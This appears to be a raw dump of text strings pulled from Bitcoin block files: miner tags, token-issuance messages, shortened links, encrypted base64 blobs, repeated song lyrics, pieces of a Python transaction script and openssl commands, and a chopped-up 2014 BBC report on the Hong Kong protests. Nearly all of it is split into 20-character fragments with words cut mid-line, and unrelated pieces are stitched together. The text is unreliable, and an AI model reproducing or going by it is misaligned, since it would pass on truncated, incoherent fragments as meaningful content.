kMined by songxiaojun031
What is the Banking? Control.
DW BITCOIN DIFFICULTY
...BUT SWEAT MEMORIES REMAIN
Mined by arendelle1dm
Mined by cuiliu20061205
!http://smartproperty.co/MR
Mined by arendelle1tm
Mined by wangxingsmile
$/mining.bitcoinaffiliatenetwork.com/
Mined by zjx329154546
(Thanks for cleaning up atR
http://goo.gl/kziCRF
! CKSCAN VERIFY-ADDRESS qwped2lmbdR
)cryptocoinsfriends.com ::R
Mined by houyuanzan1
]! CKSCAN VERIFY-ADDRESS 5pifht3mksR
Welcome to the real world.
Mined by wangxingsmile
Mined by zhengtiecheng
N! itcoin Undervalued? 66aeeff4c5f7R
N! 3b25724df51e0f860f96d69caa39a87bR
b0beb64c5bece00ac009
Mined by chenjialong
Testing the issuance of aR
aj_266e693161f2723a96f44a55576796f51b2e28988317b8259aa021dc927a1cde0432909f5353ff2d48c738b293ee11d
We're no strangers to love
You know the rules and so do I
A full commitment's what I'm thinking of
You wouldn't get this from any other guy
I just wanna tell you how I'm feeling
Gotta make you understand
CHORUS
Never gonna give you up,
Never gonna let you down
Never gonna run around and desert you
Never gonna make you cry,
Never gonna say goodbye
Never gonna tell a lie and hurt you
We've known each other for so long
Your heart's been aching but you're too shy to say it
Inside we both know what's been going on
We know the game and we're gonna play it
And if you ask me how I'm feeling
Don't tell me you're too blind to see (CHORUS)
CHORUSCHORUS
(Ooh give you up)
(Ooh give you up)
(Ooh) never gonna give, never gonna give
(give you up)
(Ooh) never gonna give, never gonna give
(give you up)
We've known each other for so long
Your heart's been aching but you're too shy to say it
Inside we both know what's been going on
We know the game and we're gonna play it (TO FRONT)
Mined by qq617884548
...BUT SWEAT MEMORIES REMAIN
x'NOTHING BIG CAME OUT OF SOMETHING SMALL
DIESISTEINLANGERTEST
Mined by a1380775222
Mined by native801015
2 sembly Coins API"}
)j'0 {"total": 10000007, "name": "Assembly
)j'1 Coins", "desc": "Ownership of the As
y/SockThing/bug_bear_pool
u=https://cpr.sm/B_piAa0T07
u=https://cpr.sm/-VvnefTItN
u=https://cpr.sm/jNVTOlCz7t
File: blk00179.txt
Mined by suiya19830907
Mined by zhanlongclam
Mined by xinjiluozm126
Mined by supercloud2014
@PAAC+MSG+V0.3+0145+
The lions sing and t
he hills take flight
. The moon by day, a
nd the sun by night.
Blind woman, deaf m
an, jackdaw fool. Le
t the Lord of Chaos
rule.
u=https://cpr.sm/QwgaPvRugNXZ
u=https://cpr.sm/DcfiaFBBtM@
u=https://cpr.sm/UBl4_TzuM_@
In-Game Treasure Hunt
...BUT SWEAT MEMORIES REMAIN
(A NILIcoins art token. CoR
Pablo Martin aka ced
es creates a Paralle
l Agreement with the
makers of The Deep
t=urn:btih:716638ec5
55bc3670232d4ad87d8a
161c534662ea3af3a638
1d316db2eaff54c6b7c4
)Crypto-Rewards Program htR
Mined by qq214952570
Mined by rui20030604
...BUT SWEAT MEMORIES REMAIN
ech improvements, bu
ensorable public spa
ntrol is interesting
testing testing12345
my original art-coin
#!xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
80: P #
44: , #
91: [ #
85: U #
110: n #
69: E #
109: m #
100: d #
83: S #
64: @ #
39: ' #
113: q #
98: b #
65: A #
92: \ #
75: K #
121: y #
79: O #
96: ` #
56: 8 #
124: | #
34: " #
9: #
40: ( #
71: G #
122: z #
86: V #
126: ~ #
118: v #
95: _ #
47: / #
35: # #
63: ? #
107: k #
68: D #
84: T #
72: H #
123: { #
60: < #
70: F #
54: 6 #
48: 0 #
111: o #
108: l #
106: j #
90: Z #
61: = #
119: w #
74: J #
88: X #
53: 5 #
94: ^ #
77: M #
114: r #
50: 2 #
116: t #
89: Y #
33: ! #
62: > #
78: N #
97: a #
117: u #
102: f #
87: W #
67: C #
101: e #
36: $ #
46: . #
103: g #
43: + #
42: * #
51: 3 #
32: #
93: ] #
41: ) #
81: Q #
112: p #
38: & #
104: h #
82: R #
115: s #
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58: : #
52: 4 #
37: % #
73: I #
57: 9 #
76: L #
55: 7 #
66: B #
125: } #
59: ; #
45: - #
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120: x #
49: 1 #
#The truth is that there is no spoon
his is a very very v
ery very very very v
ery very very long l
Thanks for supportin
#!/usr/bin/env pytho
placed in the public
uires python-bitcoin
://github.com/petert
odd/python-bitcoinli
affiti.py <textfile>
tcoin.rpc import Pro
llections.OrderedDic
addr = P2PKHBi
tcoinAddress.from_by
addrs[str(addr)
pQJA7FtcDrwKC6zATkZv
Zcxqma4JixS'] = 0.00
s with total cost: %
f mBTC + fees' % (le
n(addrs), sum(addrs.
= input('Send? y/n\n
r = proxy.sendmany(
${\c,fmaroon,bgreen}
w&HE WHO IS GIVEN EVERYTHING HAS NOTHING
&Bitsies unlock content. GR
Mined by zhanlongclam
Mined by zhanlongclam
U2FsdGVkX18+lOM3XhMq
5j7gz0CyaMieTx8TGLpP
jmXyCrXtwh0HBuyYXGe9
Mined by zongzhaohua
U2FsdGVkX1/JIt1OPqZ/
RS1rgAIaHXudCTe0umBl
LyGK9DCz6hS95fHyFvG6
U2FsdGVkX197+mo5I7vA
FoNpj5Hr21O6nlRVLjVE
ipdH4DPCPm4CDrO6xp5B
...BUT SWEAT MEMORIES REMAIN
'NOTHING BIG CAME OUT OF SOMETHING SMALL
Mined by qq125236648
...BUT SWEAT MEMORIES REMAIN
Mined by sxzfafaaisinila
'Token for access to BIP38R
)Token to access the BIP38R
'Token for access to BIP38R
Mined by native801015
Mined by wangxingsmile
Mined by wangxingsmile
Mined by supercloud2014
$/mining.bitcoinaffiliatenetwork.com/
Ines + Daniel 28.09.
Mined by wangxingsmile
"A new scientific tr
uth does not triumph
pponents and making
them see the light,
ts opponents eventua
lly die, and a new g
hat is familiar with
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APPLE Art-Coin of NILicoR
TOYOTA Art-Coin of NILIcR
Follow the white rabbit.
View Exclusive Contests!
EBAY Art-Coin of NILIcoinR
TWITTER Art-coin of NILIcR
PAACN+0025+MTQyMjJCR
kFFM0UyNDdERA==
Power armor is for p
1. Do not give opin
ions or advice unles
. Do not tell your t
roubles to others un
less you are sure th
ey want to hear them
ers lair, show him r
espect or else do no
a guest in your lair
annoys you, treat h
im cruelly and witho
t make sexual advanc
es unless you are gi
ven the mating signa
that which does not
belong to you unless
it is a burden to t
and he cries out to
cknowledge the power
of magic if you hav
e employed it succes
your desires. If y
ou deny the power of
magic after having
success, you wil
l lose all you have
t complain about any
thing to which you n
eed not subject your
-human animals unles
s you are attacked o
. When walking in op
en territory, bother
no one. If someone
bothers you, ask him
does not stop, dest
BEATLES Art-Coin of NILIcR
Currency for gtfgamers.orR
%PMined by lixiaolong520
http://goo.gl/kziCRF
$/mining.bitcoinaffiliatenetwork.com/
Mined by xuwuyang163
U2FsdGVkX1+3uaJyGJxg
huNE+40SCTY3WQO9H44Q
K6xnJ8ibU7F/2GBLNeyT
TWVtFiibcBRDV+MC62Nu
ZIXyLCIViRaLleZpt4au
iGTs68XcXTPEB/T2l6D0
tB4rC4MSFFqaxdPUsIlX
Do files get embarra
ssed when they get u
megabigpower.comT(_0
5392c723dccdb36af2a1
cd78f9ec7968f549ac1b
cbc69044af0172c516a6
THIS IS A TEST: HELL
Mined by chenning888
U2FsdGVkX19gjrBKTzoK
1PZldEaJCr2PbpU4KaeT
7hKOOYCdkybFN+v0xACN
1kFzMbtKgP7mPIIzr+6o
tROWvGTfANebmmXjK3yF
vl11tUtpiOb7Dm6euPPx
76WXXT7HiTsa+Po7S7S9
Dear Math, please gr
ow up and solve your
tired of solving the
Sometimes when I clo
se my eyes, I can't
They say that love i
s more important tha
ou ever tried to pay
your bills with a h
Mined by qq772641164
U2FsdGVkX1+PqTXn7eyd
QmY1DWNnH4vyifF9SUdc
SPV4elTm0cIBe6e3knou
AgPED0Aj49MBmkb40Ihq
vGJxtsNwSkjd6Q8ZARq/
E3P1U4s0iGeqhg+jqToc
SBavwoeFnju89s/aP35C
u=https://cpr.sm/NTOYSWszrH
Hey Base64 dude, wha
t's the encryption k
2 "total": 10000000}
)j'0 {"name": "Assembly Coins", "desc": "O
)j'1 wnership of the Assembly Coins API",
Mined by chuntian0816
1 wn", "name": "rocknroll"}
)j'0 {"total": 999, "desc": "final countdo
...BUT SWEAT MEMORIES REMAIN
$/mining.bitcoinaffiliatenetwork.com/
http://www.foldingcoin.neR
http://www.foldingcoin.neR
http://www.foldingcoin.neR
http://www.foldingcoin.neR
http://www.foldingcoin.neR
http://www.foldingcoin.neR
http://www.foldingcoin.neR
http://www.foldingcoin.neR
http://www.foldingcoin.neR
http://www.foldingcoin.neR
http://www.foldingcoin.neR
%1KFdMXu5XtfaMYEy4t3N.....R
%1KFdMXu5XtfaMYEy4t3N.....R
Mined by chenguangfu1
credit coins of NILIcoinR
-SMILE TO LIFE AND LIFE WILL SMILE BACK AT YOU
Mined by arendelle1tm
#The truth is that there is no spoon
Mined by f2poolandrew
! t.io/feed/15VSEs2i8jiEqjcHViRRkBR
! t.io/feed/1N3vQcu3iDL4M3Ty9Tiqp2R
Welcome to the real world.
Operation "rakushka" :)
Mined by feifeikuanggong
Mined by nanjinghaowei
U2FsdGVkX189edFqLnkp
I3VAl54PuBoXwkJJFocq
T4Bsv6YW53310AkuBPKy
tgSSpwrvEEzIDT3aPMXl
XLdEagw0eD8+GHy8KyOG
Jd6RWUhxD+eUBbk1TksQ
Disney Artcoin of NILIcoiR
pher>-cbc -e -a < cl
eartext.txt > encryp
enssl <cipher>-cbc -
d -a < encrypted.txt
#The truth is that there is no spoon
W'NOTHING BIG CAME OUT OF SOMETHING SMALL
Follow the white rabbit.
u=https://cpr.sm/u4EayBCu2S
asset for Swarm testing (R
$asset for Swarm internal R
Mined by zhangzhiyuan
U2FsdGVkX1+BVimRShDA
wSXbNyix523DtohyZc7C
1SZ0n0sI2M9R4Vh58i2u
uC4arn0LkUv8oOJf+NJz
YhLRgHkFlOfetLJXDTMJ
8ToXhsFHiI2G4HUAzcc6
rlJQ+o8lmLd86s7RqSx5
8Ui2pSA0UuW/cXJlP8m+
4+/DcIRAH6A1bh1yW0fe
M1coJhUH1nSnsfq/zpnZ
zRIkSMR0pkhNv98Esqn7
Sb2s6xID88PMQNazGy60
ey5xp58L0rtD0FshBsze
uJxUB2frK0c8fOcjkuk/
AEBRxIEMLCWrnYgb/v8s
We're no strangers to love
You know the rules and so do I
A full commitment's what I'm thinking of
You wouldn't get this from any other guy
I just wanna tell you how I'm feeling
Gotta make you understand
CHORUS
Never gonna give you up,
Never gonna let you down
Never gonna run around and desert you
Never gonna make you cry,
Never gonna say goodbye
Never gonna tell a lie and hurt you
We've known each other for so long
Your heart's been aching but you're too shy to say it
Inside we both know what's been going on
We know the game and we're gonna play it
And if you ask me how I'm feeling
Don't tell me you're too blind to see (CHORUS)
CHORUSCHORUS
(Ooh give you up)
(Ooh give you up)
(Ooh) never gonna give, never gonna give
(give you up)
(Ooh) never gonna give, never gonna give
(give you up)
We've known each other for so long
Your heart's been aching but you're too shy to say it
Inside we both know what's been going on
We know the game and we're gonna play it (TO FRONT)
6b6e2d312d33326e7271
6f327132723134353832
34323339373932713433
71373170373471393971
35357131346f35333072
3370336f38327031716f
6e3171726f7239383734
323673396e32326e3336
70706f32703432363038
316e3534343831736f32
6e6e7339716e33393536
Time is always against us.
#The truth is that there is no spoon
-SMILE TO LIFE AND LIFE WILL SMILE BACK AT YOU
U2FsdGVkX1+5litew2lM
hfrMjodr+gm14lX7LSGS
YevcZ+j52sVLKTxXItmY
jRZzYFm3hq9w0feS+7i+
tVtA02CORDZ7ViySX3BL
Nt1/gX7/I7xvQ0Z7hj48
xo7kHK1N19FWibdQw/oa
lVfe0M0movLk0GvtPqzQ
9V5F9owvGMaQ5l14WzBW
C3an+O3iiFgOE4tIvJuT
t9Afrq3Nnp8LhjxIFcSs
gvc1KxcgiCn5BrHZ14qV
fGh6xq5OGxfLyKvqs9HG
That's it for now...
Let me know when yo
u have cracked any o
u=https://cpr.sm/gUpxix-ADi
irstname.lastname.co
"$1" | openssl base
64 -A | sha256sum |
sha256sum | sha256su
m | openssl base64 -
2.fuckyou.$pw3.fucky
nc -M 1000000000 inp
pw5=$(getpw "$p4.ope
192-cbc -e -a < inpu
t.scrypt > output.ae
$/mining.bitcoinaffiliatenetwork.com/
File: blk00180.txt
Mined by yjx313316019
Operation "rakushka" :)
USA Art-Coin of NILIcoinsR
(Investment company - daytR
We're no strangers to love
You know the rules and so do I
A full commitment's what I'm thinking of
You wouldn't get this from any other guy
I just wanna tell you how I'm feeling
Gotta make you understand
CHORUS
Never gonna give you up,
Never gonna let you down
Never gonna run around and desert you
Never gonna make you cry,
Never gonna say goodbye
Never gonna tell a lie and hurt you
We've known each other for so long
Your heart's been aching but you're too shy to say it
Inside we both know what's been going on
We know the game and we're gonna play it
And if you ask me how I'm feeling
Don't tell me you're too blind to see (CHORUS)
CHORUSCHORUS
(Ooh give you up)
(Ooh give you up)
(Ooh) never gonna give, never gonna give
(give you up)
(Ooh) never gonna give, never gonna give
(give you up)
We've known each other for so long
Your heart's been aching but you're too shy to say it
Inside we both know what's been going on
We know the game and we're gonna play it (TO FRONT)
j&HE WHO IS GIVEN EVERYTHING HAS NOTHING
Mined by wangguannan
p'NOTHING BIG CAME OUT OF SOMETHING SMALL
'dddddddddddddddddddddddddd
1 Coin", "total": 10000000}
)j'0 {"name": "TruthCoin", "desc": "Truth
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)j'0 {"name": "CashCoin", "desc": "Cash Co
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)j'0 {"name": "VoteCoin", "desc": "Vote Co
-SMILE TO LIFE AND LIFE WILL SMILE BACK AT YOU
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$j"1 t Max issues.", "total": 100000}
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)j'0 {"name": "nybecoin", "desc": "this is
...BUT SWEAT MEMORIES REMAIN
$/mining.bitcoinaffiliatenetwork.com/
Welcome to the real world.
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-SMILE TO LIFE AND LIFE WILL SMILE BACK AT YOU
'NOTHING BIG CAME OUT OF SOMETHING SMALL
What is the Banking? Control.
7-SMILE TO LIFE AND LIFE WILL SMILE BACK AT YOU
: Hong Kong, a forme
r British colony, is
handed back to Chin
a under an 1984 agre
ement giving it "a h
igh degree of autono
my, except in foreig
n and defence affair
004: China rules tha
t its approval must
be sought for change
s to Hong Kong's ele
uly 2014: Pro-democr
acy activists hold a
n unofficial referen
dum on political ref
orm and a large rall
y, which is followed
by protests by pro-
na says it will allo
w direct elections i
n 2017, but voters w
ill only be able to
choose from a list o
f pre-approved candi
dates; activists sta
ptember 2014: Studen
t groups launch a we
ek-long boycott of c
ons for chief execut
ive due to take plac
w.bbc.com/news/world
-asia-china-29430229
Hong-Kong-umbrella-s
/5894<Hong Kong demo
cracy protesters def
iant on National Day
s of people have bee
n blocking parts of
that China withdraw
plans to vet candid
ates for the next le
adership election in
ader CY Leung has ur
ged the protesters t
o go home, and Chine
se President Xi Jinp
ing has reaffirmed B
eijing's influence o
On Tuesday Mr Xi tol
d Communist Party le
aders in Beijing tha
t his government wou
ld "unswervingly imp
lement the guideline
s of 'one country, t
wo systems' and the
Basic Law, and stead
fastly safeguard the
long-term prosperit
y and stability of H
ong Kong and Macau".
ong's chief executiv
e, has rejected camp
aigners' call for hi
On Wednesday, he att
ended a ceremony in
Hong Kong marking Na
tional Day, a public
holiday that celebr
ates the founding of
communist China in
ties have cancelled
a fireworks display
that was due to take
place later in the
e US restated its po
sition on the protes
ts, saying that a ge
nuine choice of cand
idates in the electi
on would enhance the
legitimacy of the c
eavy rain in Hong Ko
ng late on Tuesday f
ailed to dampen the
protesters' enthusia
ppealed to protester
s to go home - but m
any say they are the
re for the long haul
elatively quiet on T
uesday but thousands
flocked to the prot
est camps as night f
ators - who include
students, supporters
of the Occupy Centr
al group and others
angered by the polic
e response - said th
ey were confident th
at they would step u
p the protests on We
there will be a mas
sive turnout, over 1
00,000 people tonigh
t and leading into N
ational Day," Occupy
Central activist Ed
Chin told AFP news
ot afraid of riot po
lice.... We will not
leave until Leung C
hun-ying resigns,''
student leader Leste
r Shum told the crow
egan at the weekend,
and police responde
d with tear gas and
pepper spray. Police
later withdrew and
protesters have rema
Gracie, BBC News Ch
ina editor, Hong Kon
ote" is the chant he
ard in the heart of
Hong Kong, which the
protesters have ren
amed Democracy Squar
e. A crowd many thou
sands-strong stretch
ed in every directio
n, using their mobil
e phones to create a
sea of dancing ligh
d night of protests
and the demonstrator
s were exhilarated b
y facing down riot p
olice. In a show of
civic pride, many ha
d spent the day sort
rs painted democracy
slogans on the umbr
ellas that protected
them from police pe
pper spray on Sunday
and that have now b
ecome the motif for
hina's National Day
is a test of strengt
h that all sides wil
l be watching closel
y. If the numbers on
the street allow th
e protesters to say
they have won the he
arts and minds of th
e general public, Be
ijing will have to s
tart thinking of a w
ay to end this which
avoids either loss
of face or violence.
population of 7.2m a
nd though there are
many thousands of pe
ople on the streets,
the degree of overa
ll support for the p
rotesters is unclear
fear the demonstrati
ons could affect rel
ations with Beijing
or hit the economy o
f the financial hub.
ong Kong back to Chi
na in 1997 under a f
ormula that guarante
es liberties not see
n on the mainland, i
ncluding freedom of
speech and the right
ing ruled last month
that Hong Kong peop
le could elect their
next leader in 2017
, but the choice of
candidates would be
restricted to two or
three people who mu
st be approved by th
e majority of a pro-
Beijing committee -
meaning the Chinese
government can effec
tively screen candid
s are seen as a dire
ct challenge to Beij
ing's grip on the te
unist Party leaders
are worried that cal
ls for democracy cou
ld spread to cities
News of the protests
is being heavily ce
nsored in mainland C
hina. Media have bla
med "radical opposit
ion forces" for stir
The US has repeatedl
y called for "restra
int" in China's resp
onse to the protests
te department spokes
woman Jen Psaki said
that Secretary of S
tate John Kerry woul
d discuss the protes
ts with Chinese Fore
ign Minister Wang Yi
when the pair meet
believe the legitim
acy of the chief exe
cutive would be grea
tly enhanced if the
basic law's ultimate
aim of selection of
the chief executive
by universal suffra
ge is fulfilled," sh
y, the head of the U
S Senate committee o
n foreign relations,
Robert Menendez, wr
ote to Mr Leung urgi
ng him to respect th
e right of protester
d intimidation of pe
aceful protestors an
d opposition media..
. indicates that Bei
jing has reneged on
the promises it made
to the people of Ho
ng Kong" Mr Menendez
said in the letter.
-)&&)T<@2EdXigbX`_n|
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40226bf9ba91f099fe36
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d929f5319bcf05a86fdc
429dc624772d09d27162
f5476e26dfcdf9f5b008
1d4506fd9b274fc5a499
2784ecf02e83e08f9b74
0bb77ab894147049f5d8
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0d16148281d9a250c71a
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7b710298f4d7f5e04876
34c27084871cdef1e91e
12d8e0ff6abc8f8681ab
036b43afa72404d9b9bc
42c1eacd8f85e7fe5624
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EFGHIJSTUVWXYZcdefgh
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u=https://cpr.sm/jkpAaMSylt
-SMILE TO LIFE AND LIFE WILL SMILE BACK AT YOU
u=https://cpr.sm/cm2gO3Np8o
Deepspace/bitcoinOTC
u=https://cpr.sm/cm2gO3Np8o
Follow the white rabbit.
)j'1 fraternity Leola coins", "name": "Leo
)j'0 {"total": 10000000, "desc": "Student
2014-10-01/anduck/bc
This will be a test
transaction for Bitc
oinStrings..........
Mined by sww11005088
Testing~2014.10.1@6:52AM
Testing~2014.10.1@9:10AM
https://twitter.com/
DanMAbraham || https
://www.youtube.com/c
hannel/UCup3BpriTR2G
dWGmK-VYPFQ/about ||
http://www.facebook
.com/daniel.mystory.
BlockTrail promotes
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ork and economic dat
a. Founded in 2014 a
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BlockTrail is dedica
ted to delivering be
tter tools for the B
itcoin economy......
Mined by gf406224454
TOACIN-TEST:Be obscure clearly.
f928c8be83d37e0413ee
a83fc4681bf2584dd711
8110d5dd4a31c54b180d
$https://www.chunkhost.comR
'NOTHING BIG CAME OUT OF SOMETHING SMALL
RBecker is awesome!
Follow the white rabbit.
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1Hygkhh5Lx6uiUXPQUY
Govern by all Thy Wi
t my soul may always
be serving Thee as
d not as I may choos
y granting that whic
it offended Thy Love
that I may love The
I may ascend to the
heights and happines
Follow the white rabbit.
u=https://cpr.sm/AD5Tu4vn2O
u=https://cpr.sm/AD5Tu4vn2Op
$Philanthropy taylor.ryan3R
bitcoins.SG asks Chr
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in the blockchain ac
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verifiable non adult
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m/MrChrisJ/bc944b798
2a5f0cf7d0e90df1f2a8
5d64c9039cd0e93eb032
Mined by yuling12345
Mined by jie621012886
Mined by weizhixinok
u=https://cpr.sm/cm2gO3Np8o
creatureconduitsanctuary.R
u=https://cpr.sm/ywL_4cu7iD
#The truth is that there is no spoon
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u=https://cpr.sm/vtZXusjGir8]
Mined by zhanlongclam
Mined by qq530955139
Mined by nanjinghaowei
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f&HE WHO IS GIVEN EVERYTHING HAS NOTHING
Mined by qq503820355
Mined by arendelle1tm
u=https://cpr.sm/yI5yMosYvj
#The truth is that there is no spoon
&HE WHO IS GIVEN EVERYTHING HAS NOTHING
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File: blk00181.txt
u=https://cpr.sm/HGiV1wc_RW
Mined by yuling12345
Mined by a18156132949
Cryptocurrency backed by R
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Mined by xinjiluozm126
Mined by yangliangdong
Mined by arendelle1dm
Mined by huangyuhang
We're no strangers to love
You know the rules and so do I
A full commitment's what I'm thinking of
You wouldn't get this from any other guy
I just wanna tell you how I'm feeling
Gotta make you understand
CHORUS
Never gonna give you up,
Never gonna let you down
Never gonna run around and desert you
Never gonna make you cry,
Never gonna say goodbye
Never gonna tell a lie and hurt you
We've known each other for so long
Your heart's been aching but you're too shy to say it
Inside we both know what's been going on
We know the game and we're gonna play it
And if you ask me how I'm feeling
Don't tell me you're too blind to see (CHORUS)
CHORUSCHORUS
(Ooh give you up)
(Ooh give you up)
(Ooh) never gonna give, never gonna give
(give you up)
(Ooh) never gonna give, never gonna give
(give you up)
We've known each other for so long
Your heart's been aching but you're too shy to say it
Inside we both know what's been going on
We know the game and we're gonna play it (TO FRONT)
$Tecmap token for proof ofR
this is ostensibly a testmessage!
this is ostensibly a testmessagg!
this is ostensibly a testmessagq!
this is ostensibly a testmessags!
this is ostensibly a testmessagy!
this is ostensibly a testmessag
this is ostensibly a testmessag
this is ostensibly a testmessag
this is ostensibly a testmessaghZ
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Dutyfree.io - Buy ch
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)Crypto-Rewards Program htR
Mined by wangxingsmile
u=https://cpr.sm/pW2kelgElY
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Mined by zhanlongclam
Mined by wangxingsmile
bc1b21bd13504f11e6e5
4a1d55a1319a2cd3d599
a1a80b16e380d84cbf11
Operation "rakushka" :)
u=https://cpr.sm/7IYJ8wcb-O
Mined by caixue439257
Mined by zhanlongclam
'https://bip38wallets.com/R
Follow the white rabbit.
Mined by hongtingren
Mined by liuhonggang1
Mined by zw195046323
1e44cb08f7b7869034b2
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282b5ee113461b6f1ed4
Mined by zhanlongclam
&Goods & Services in Sub-SR
Mined by arendelle1dm
Follow the white rabbit.
Y7! t.io/feed/1KYrVtHMKB1RYt5N8y3jm8R
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Welcome to the real world.
@Mined by liangyong2014
! t.io/feed/1KrV3kZgw3MMZF2jJcFYSdR
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Mined by arendelle1dm
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Mined by zhanlongclam
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f184f6e2935b51ced77c
3df2c2175866cf6183ec
5650868f5d2c874aaae7
Time is always against us.
Mined by chenning88813
u=https://mysite.com/assetinfop
u=https://mysite.com/assetinfo
u=http://chroma.io/crystal.json
u=http://chroma.io/crystal.json8s
Mined by dashengbaoer
Mined by cjs18665506868
@Mined by zhaodong1982
Time is always against us.
File: blk00182.txt
%KINETICS CO - Funding & R
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%Access Token For MachinesR
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'BETA Testing Vote Token FR
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Welcome to the real world.
Mined by zcw13623028508
...BUT SWEAT MEMORIES REMAIN
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Mined by zcw13623028508
Mined by linshen2014
u=http://chroma.io/crystal.json
Time is always against us.
Operation "rakushka" :)
What is the Banking? Control.
...BUT SWEAT MEMORIES REMAIN
Mined by cjs18665506868
%&HE WHO IS GIVEN EVERYTHING HAS NOTHING
https://www.facebook.com/R
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100% DIVIDENDS PAID MONTHR
100% DIVIDENDS PAID MONTHR
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&Official Evotion private R
u=http://chroma.io/demo.jsonp
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Coins created by Sean WinR
Mined by hqg4328021975
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u=https://cpr.sm/GPQ9_GCjAZ
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Cryptocurrency for jobs
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Mined by nanjinghaowei
'Pays dividends from varioR
Time is always against us.
Mined by cyy64792589
Decentralized Market
Operation "rakushka" :)
&HE WHO IS GIVEN EVERYTHING HAS NOTHING
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'NOTHING BIG CAME OUT OF SOMETHING SMALL
Mined by xinjiluozm126
Mined by laiyong13778
...BUT SWEAT MEMORIES REMAIN
Follow the white rabbit.
FX Investment Account by R
;! CKSCAN VERIFY-ADDRESS sqx58xmcjdR
nomos.io | precedent.io
http://7el.us/CATOSHI
u=https://cpr.sm/WfnB0Gsgva
Follow the white rabbit.
MueOneMueOneMueOnezz
'The fear, uncertainty, anR
&`! CKSCAN VERIFY-ADDRESS cdsjp559qhR
Colony Earth Membership
u=http://goo.gl/uJ46OS8
7e8dc165ac6f25f27a92
d86c7d48a60db3c572f2
ee4b515606dfdd0e5f58
Time is always against us.
7c1124f762dd94df7480
d0636fd0b0e0800335be
3a65107a0ae90d158116
Operation "rakushka" :)
ELECTRONIC PHILIPPINE PESR
ELECTRONIC TAKA COIN
ELECTRONIC INDONESIAN RUPR
AIRLINE TICKET TOKEN
FINANCIAL GRANT TOKEN
...BUT SWEAT MEMORIES REMAIN
FINANCIAL BEQUEST TOKEN
Mined by lixianzhen1
u=https://goo.gl/uJ46OS
u=https://cpr.sm/npcs-J_n-4(6
4bd111904574d00c7b88
940981d0fe524e0a2551
d6a2ea9a12348193264c
VOTE Token used for AxiomR
"GEAR sends motion data toR
"The Blockchain For The HoR
Catch it while you can
Mined by f2poolandrew
! CKSCAN VERIFY-ADDRESS ytexevcsg9R
Mined by zhp13539998899
File: blk00183.txt
Mined by wang1306403496
Mined by zhanlongclam
Mined by chenguanghai
Mined by ll185745252
g-SMILE TO LIFE AND LIFE WILL SMILE BACK AT YOU
http://tinyurl.com/ao7uk6R
Operation "rakushka" :)
'monegraph.com/titles/mgaaR
(static.mccoyspace.com/mgaR
u=https://cpr.sm/yVB2RXb_b4
DW BITCOIN DIFFICULTY
!Blockchain for all specieR
7788ca3c8ded94ad42df
87a68d450606938787b6
0b8563666fe1ff06b2eb
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Time is always against us.
526be96a05b3a85e6faf
486cb82939892a35338e
5ff57a91a2d0859db65f
#The truth is that there is no spoon
PHILIPPINE CRYPTO CURRENCR
u=https://goo.gl/bW69zWh?
u=https://cpr.sm/yVB2RXb_b4
u=https://goo.gl/bW69zW
u=https://cpr.sm/kmpMetkmc1
COLLEGE TEXTBOOK RENTAL
PHILIPPINE CHANGE CURRENCR
Follow the white rabbit.
$/mining.bitcoinaffiliatenetwork.com/
u=https://cpr.sm/yVB2RXb_b4
&1st BTC ATM in Indy! bit.R
Redeemable for a blowjob
Mined by sxzfafaaisinila
! CKSCAN VERIFY-ADDRESS 3qjgweyrvmR
Follow the white rabbit.
! CKSCAN VERIFY-ADDRESS ucsjcugtleR
Mined by zhanlongclam
Mined by huangzhigao
Mined by wangxingsmile
'PtCent Information TechnoR
Mined by zhanlongclam
$/mining.bitcoinaffiliatenetwork.com/
Mined by cuiliu20061205
Mined by f2poolscant
What is the Banking? Control.
#The truth is that there is no spoon
Mined by qiaopei200818
Napalm in the mornin
I love the smell of
I love the smell of
Napalm in the mornin
[Mined by f2poolscant
#this coin will is under dR
#The truth is that there is no spoon
Mined by wanyouyinli1
thanks, BM-2cTgtmfRn
k9B2eZjZEpiaYoTWHVG1
6G64HKJ8tj5Foa95qOc8
pmlPI5dRkmLB0PwtfB3U
54JIqYs33+gj9+N7DJta
Owner is kschzt at gm*il R
)For sale: contact kschzt R
)For sale: contact kschzt R
Mined by zhongyunlong01
! t.io/feed/19FjPSrzAHau5TbXX7voR8R
'Xdis Mining Token A: www.R
! t.io/feed/1BHcztZ2g6a14iUamUtEKAR
Mined by wangxingsmile
Z! t.io/feed/1NEJZjskQ5VWGRdjZ3csFwR
Mined by wcm84252798
Mined by f2poolscant
&Official public token of R
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Jt\Mined by f2poolscant
-SMILE TO LIFE AND LIFE WILL SMILE BACK AT YOU
Mined by xiaojianying
! t.io/feed/1MJGGVy6jWbMsbcoeJXb3RR
$/mining.bitcoinaffiliatenetwork.com/
gMined by f2poolscant
Mined by f2poolscant
#this coin will is under dR
Mined by songxiaojun031
http://goo.gl/yRa4w3
...BUT SWEAT MEMORIES REMAIN
j#The truth is that there is no spoon
Follow the white rabbit.
Mined by huangyuhang
$/mining.bitcoinaffiliatenetwork.com/
https://www.facebook.com/R
Mined by twj609636542
Mined by f2poolscant
39f22f6d15e2960217de
e8da2e1428963042dce6
6aa4ea1d33d632cf2682
ARGENTINE ELECTRONIC BOLIR
BRAZIL REAL ELECTRONICO
ELECTRONIC PERUVIAN SOL
ELECTRONIC NIGERIAN NAIRAR
ELECTRONIC NIGERIAN KOBO
ELECTRONIC NICARAGUAN CORR
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pMined by arendelle1dm
'Token Access for LTB(C) 1R
Mined by arendelle1tm
)Crypto-Rewards Program htR
Welcome to the real world.
In-Game Treasure Hunt
deb3c69a226dfaef1bfc
71864955a7c04d279b47
25d3b99010d4af66e6db
Mined by x13866896655
!! CKSCAN VERIFY-ADDRESS 5bbdiuislvR
Mined by zzl22690919
100% DIVIDENDS PAID BI WER
The currency of ideas
Mined by sww11005088
(A great way to store allR
http://goo.gl/yRa4w3
Mined by f2poolscant
! CKSCAN VERIFY-ADDRESS i3gr4jx4gcR
Mined by zhanlongclam
$/mining.bitcoinaffiliatenetwork.com/
Mined by wangxingsmile
Follow the white rabbit.
Operation "rakushka" :)
What is the Banking? Control.
Mined by dashengbaoer
Bitcoin Testnet 1:1 Coin
Mined by yfj13879973906
Mined by zhanlongclam
Mined by chengzhijinkai8
690a91ac62eb1765754d
00c508dc535d74a79520
Mined by shenghaisheng
File: blk00184.txt
Represents stake in ChiefR
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ah, yeah, I know. I
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Mined by jzy123456789
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0.01% of bitcoinwifi netR
Muse Coin www.musecoin.orR
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&HE WHO IS GIVEN EVERYTHING HAS NOTHING
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Mined by native801015
A successful man is
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oney than his wife c
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can find such a man.
